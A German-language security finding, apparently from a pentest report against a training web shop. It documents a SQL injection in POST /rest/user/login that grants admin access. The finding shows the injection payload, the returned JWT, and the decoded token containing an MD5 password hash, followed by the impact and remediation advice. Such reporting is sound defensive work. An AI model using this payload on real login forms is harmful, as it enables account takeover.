SQL-Injection im Login-Endpoint → vollständige Admin-Authentifizierungsumgehung
Schwere
CWE
Endpunkt
Status
Nachweis
POST /rest/user/login
{"email":"' or 1=1--","password":"x"}
→ 200 OK
{"authentication":{"token":"eyJ0eXAiOiJKV1Qi…","bid":1,"umail":"[email protected]"}}
JWT-Payload (dekodiert):
{"data":{"id":1,"email":"[email protected]",
"password":"0192023a7bbd73250516f069df18b500",
"role":"admin","isActive":true,…},"bid":1}Auswirkung
Vollständige Übernahme der Anwendung ohne Passwortkenntnis: Zugriff auf alle Admin- und CRUD-Endpunkte, das vollständige Benutzerverzeichnis, Zahlungsdaten, Bestellhistorien und die Anwendungskonfiguration. […]
Empfehlung
Parametrisierte Abfragen/Prepared Statements (Sequelize-Platzhalter) statt String-Konkatenation; Authentifizierungslogik von der Datenabfrage trennen und Passwort serverseitig prüfen; Passwort-Hashes mit Salz und langsamem KDF (bcrypt/argon2) speichern.